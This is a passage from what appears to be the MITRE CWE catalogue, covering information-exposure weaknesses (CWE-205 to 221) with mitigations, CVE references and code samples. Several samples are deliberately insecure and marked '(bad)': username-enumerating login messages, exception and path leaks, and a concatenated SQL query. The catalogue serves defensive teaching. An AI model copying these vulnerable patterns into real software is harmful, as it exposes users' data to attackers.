{if (IsValidPassword($username, $password) == 1){print "Login Successful";}else{print "Login Failed - incorrect
password:";}}else{print "Login Failed - unknown username";}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

*Example Language:*

*(result)*

```
"Login Failed - incorrect username or password"
```

## CWE-205: Information Exposure Through Behavioral Discrepancy

<b>Weakness ID</b> : 205	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product's actions indicate important differences based on (1) the internal state of the product or (2) differences from other products in the same class.

### Extended Description

For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		203	Information Exposure Through Discrepancy	457
ParentOf		206	Information Exposure of Internal State Through Behavioral Inconsistency	464
ParentOf		207	Information Exposure Through an External Behavioral Inconsistency	466

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		203	Information Exposure Through Discrepancy	457
ParentOf		206	Information Exposure of Internal State Through Behavioral Inconsistency	464
ParentOf		207	Information Exposure Through an External Behavioral Inconsistency	466

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

WASC	45		Fingerprinting

## CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency

**Weakness ID** : 206

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

## Description

Two separate operations in a product cause the product to behave differently in a way that is observable to an attacker and reveals security-relevant information about the internal state of the product, such as whether a particular operation was successful or not.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		205	Information Exposure Through Behavioral Discrepancy	463

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		205	Information Exposure Through Behavioral Discrepancy	463

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

Setup generic response pages for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

## Observed Examples

Reference	Description
<b>CVE-2002-2031</b>	File existence via infoleak monitoring whether "onerror" handler fires or not. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2031">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2031</a>
<b>CVE-2005-2025</b>	Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2025">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2025</a>
<b>CVE-2001-1497</b>	Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1497">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1497</a>
<b>CVE-2003-0190</b>	Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190</a>

## CWE-209: Information Exposure Through an Error Message

Weakness ID : 209

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software generates an error message that includes sensitive information about its environment, users, or associated data.

### Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of "." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

ParentOf		211	Information Exposure Through Externally-Generated Error Message	476
ParentOf		550	Information Exposure Through Server Error Message	1051

## Applicable Platforms

**Language** : PHP (*Prevalence = Often*)

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.</i>	

## Detection Methods

### Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

*Effectiveness = High*

### Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

*Effectiveness = Moderate*

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

*Effectiveness = Moderate*

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

### Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

*Effectiveness = Defense in Depth*

*This makes it easier to spot places in the code where data is being used that is unencrypted.*

**Phase: Implementation****Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Debugging information should not make its way into a production release.

**Phase: Implementation****Phase: Build and Compilation**

*Strategy = Environment Hardening*

Debugging information should not make its way into a production release.

**Phase: System Configuration**

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the `display_errors` setting during configuration, or at runtime using the `error_reporting()` function.

**Phase: System Configuration**

Create default error pages or messages that do not leak any information.

**Demonstrative Examples****Example 1:**

In the following example, sensitive information might be printed depending on the exception that occurs.

*Example Language: Java*

*(bad)*

```
try {...}catch (Exception e) {System.out.println(e);}
```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

**Example 2:**

This code tries to open a database connection, and prints any exceptions that occur.

*Example Language: PHP*

*(bad)*

```
try {openDbConnection();} //print exception message that includes exception message and configuration file location
catch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), "\n";echo 'Check credentials in config file at: ',
$Mysql_config_location, "\n";}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

**Example 3:**

The following code generates an error message that leaks the full pathname of the configuration file.

*Example Language: Perl*

*(bad)*

```
$ConfigDir = "/home/myprog/config";$uname = Get userInput("username"); # avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /\w+$/);$file = "$ConfigDir/$uname.txt";if (! (-e $file)) {ExitError("Error: $file does not exist");}...
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a \$file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

#### Example 4:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

Example Language: Java

(bad)

```
public BankAccount getUserBankAccount(String username, String accountNumber) { BankAccount userAccount =
null;String query = null;try {if (isAuthorizedUser(username)) {query = "SELECT * FROM accounts WHERE owner = "+
username + " AND accountID = " + accountNumber;DatabaseManager dbManager = new DatabaseManager();Connection
conn = dbManager.getConnection();Statement stmt = conn.createStatement();ResultSet queryResult =
stmt.executeQuery(query);userAccount = (BankAccount)queryResult.getObject(accountNumber);} catch
(SQLException ex) {String logMessage = "Unable to retrieve account information from database,\nquery: " +
query;Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);}return userAccount; }
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

#### Observed Examples

Reference	Description
<b>CVE-2008-2049</b>	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2049">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2049</a>
<b>CVE-2007-5172</b>	Program reveals password in error message if attacker can trigger certain database errors. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5172">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5172</a>
<b>CVE-2008-4638</b>	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638</a>
<b>CVE-2008-1579</b>	Existence of user names can be determined by requesting a nonexistent blog and reading the error message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1579">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1579</a>
<b>CVE-2007-1409</b>	Direct request to library file in web application triggers pathname leak in error message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1409">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1409</a>
<b>CVE-2008-3060</b>	Malformed input to login page causes leak of full path when IMAP call fails. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3060">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3060</a>
<b>CVE-2005-0603</b>	Malformed regexp syntax leads to information exposure in error message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603</a>

## CWE-210: Information Exposure Through Self-generated Error Message

**Weakness ID** : 210

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf		537	Information Exposure Through Java Runtime Error Message	1037

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Implementation

### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Debugging information should not make its way into a production release.

### Phase: Implementation

### Phase: Build and Compilation

*Strategy = Environment Hardening*

Debugging information should not make its way into a production release.

## Demonstrative Examples

### Example 1:

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

*Example Language: Perl*

*(bad)*

```
$uname = Get userInput("username"); # avoid CWE-22, CWE-78, others. if ($uname !~ /\w+$/){ExitError("Bad hacker!");}
$filename = "/home/myprog/config/" . $uname . ".txt";if (!(-e $filename)){ExitError("Error: $filename does not exist");}
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

## Observed Examples

Reference	Description
<b>CVE-2005-1745</b>	Infoleak of sensitive information in error message (physical access required). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1745">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1745</a>

**CWE-211: Information Exposure Through Externally-Generated Error Message****Weakness ID** : 211**Status**: Incomplete**Structure** : Simple**Abstraction** : Base**Description**

The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Weakness Ordinalities****Resultant** :**Applicable Platforms****Language** : PHP (*Prevalence = Often*)**Language** : Language-Independent (*Prevalence = Undetermined*)**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

**Potential Mitigations****Phase: System Configuration**

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable `display_errors`.

**Phase: Implementation****Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Debugging information should not make its way into a production release.

**Phase: Implementation****Phase: Build and Compilation**

*Strategy = Environment Hardening*

Debugging information should not make its way into a production release.

**Phase: Implementation**

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

**Phase: Implementation**

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

**Observed Examples**

Reference	Description
<b>CVE-2004-1581</b>	chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1581">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1581</a>
<b>CVE-2004-1579</b>	Single "" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1579">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1579</a>
<b>CVE-2005-0459</b>	chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0459">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0459</a>
<b>CVE-2005-0443</b>	invalid parameter triggers a failure to find an include file, leading to infoleak in error message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0443">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0443</a>
<b>CVE-2005-0433</b>	Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0433">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0433</a>
<b>CVE-2004-1101</b>	Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1101">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1101</a>

**Functional Areas**

- Error Handling

**MemberOf Relationships**

## CWE-212: Improper Cross-boundary Removal of Sensitive Data

**Weakness ID** : 212**Status**: Incomplete**Structure** : Simple**Abstraction** : Base

### Description

The software uses a resource that contains sensitive data, but it does not properly remove that data before it stores, transfers, or shares the resource with actors in another control sphere.

### Extended Description

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing. For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1224
ChildOf		200	Information Exposure	451

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	1656

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		200	Information Exposure	451

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data  <i>Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.</i>	

### Potential Mitigations

**Phase**: Requirements

Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

*Effectiveness = Defense in Depth*

*This makes it easier to spot places in the code where data is being used that is unencrypted.*

### Phase: Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

## Demonstrative Examples

### Example 1:

This code either generates a public HTML user information page or a JSON response containing the same user information.

*Example Language: PHP*

*(bad)*

```
// API flag, output JSON if set $json = $_GET['json']$username = $_GET['user']if(!$json){ $record =
getUserRecord($username);foreach($record as $fieldName => $fieldValue){ if($fieldName == "email_address")
{ // skip displaying user emails continue; }else{writeToHtmlPage($fieldName,$fieldValue);} } }else{$record =
getUserRecord($username);echo json_encode($record);}
```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

## Observed Examples

Reference	Description
<b>CVE-2005-0406</b>	Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0406">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0406</a>
<b>CVE-2002-0704</b>	NAT feature in firewall leaks internal IP addresses in ICMP error messages. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0704">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0704</a>

## MemberOf Relationships

MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1627

## Notes

### Relationship

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

### Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

### Terminology

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
168	Windows ::DATA Alternate Data Stream

## CWE-213: Intentional Information Exposure

Weakness ID : 213

Status: Draft

Structure : Simple

Abstraction : Base

### Description

A product's design or configuration explicitly requires the publication of information that could be regarded as sensitive by an administrator.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	1627

### Notes

#### Relationship

This overlaps other categories because some functionality might be intended by the developer, but is considered a weakness by the user or system administrator. In most cases, it is distinct

from CWE-209: Information Exposure Through an Error Message because CWE-209 is often unintended.

### Other

It's not always clear whether an information exposure is intentional or not. For example, CVE-2005-3261 identifies a PHP script that lists file versions, but it could be that the developer did not intend for this information to be public, but introduced a direct request issue instead.

### Theoretical

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Intended information leak

## CWE-214: Information Exposure Through Process Environment

**Weakness ID** : 214

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.

### Extended Description

Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf		200	Information Exposure	451

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Implementation

Do not leave debug statements that could be executed in the source code. Assure that all debug information is eradicated before releasing the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### Demonstrative Examples

#### Example 1:

The following program changes its behavior based on a debug flag.

*Example Language: JSP*

*(bad)*

```
<% if (Boolean.getBoolean("debugEnabled")) { %>User account number: <%= acctNo %><%} %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

### Observed Examples

Reference	Description
<b>CVE-2004-2268</b>	Password exposed in debug information. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2268">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2268</a>
<b>CVE-2002-0918</b>	CGI script includes sensitive information in debug messages when an error is triggered. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0918">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0918</a>
<b>CVE-2003-1078</b>	FTP client with debug option enabled shows password to the screen. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1078">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1078</a>

OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP23		Exposed Data

## CWE-216: Containment Errors (Container Errors)

**Weakness ID** : 216

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

This tries to cover various problems in which improper data are included within a "container."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		664	Improper Control of a Resource Through its Lifetime	1210
ParentOf		219	Sensitive Data Under Web Root	487
ParentOf		493	Critical Public Variable Without Final Modifier	984
PeerOf		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	216

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	1537
ParentOf		219	Sensitive Data Under Web Root	487
ParentOf		220	Sensitive Data Under FTP Root	488

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		978	SFP Secondary Cluster: Implementation	888	1635

### Notes

#### Maintenance

This entry is closely associated with others related to encapsulation and permissions, and might ultimately prove to be a duplicate.

## CWE-219: Sensitive Data Under Web Root

<b>Weakness ID</b> : 219	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		216	Containment Errors (Container Errors)	485
ChildOf		285	Improper Authorization	591
ParentOf		433	Unparsed Raw Web Content Delivery	879
CanPrecede		668	Exposure of Resource to Wrong Sphere	1223

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		216	Containment Errors (Container Errors)	485

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

**Phase: Implementation**

**Phase: System Configuration**

Avoid storing information under the web root directory.

**Phase: System Configuration**

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.

### Observed Examples

Reference	Description
<b>CVE-2005-1835</b>	Data file under web root. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1835">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1835</a>

PLOVER			Sensitive Data Under FTP Root

## CWE-221: Information Loss or Omission

<b>Weakness ID</b> : 221	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

## Description

The software does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.

## Extended Description

This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.

## Relationships

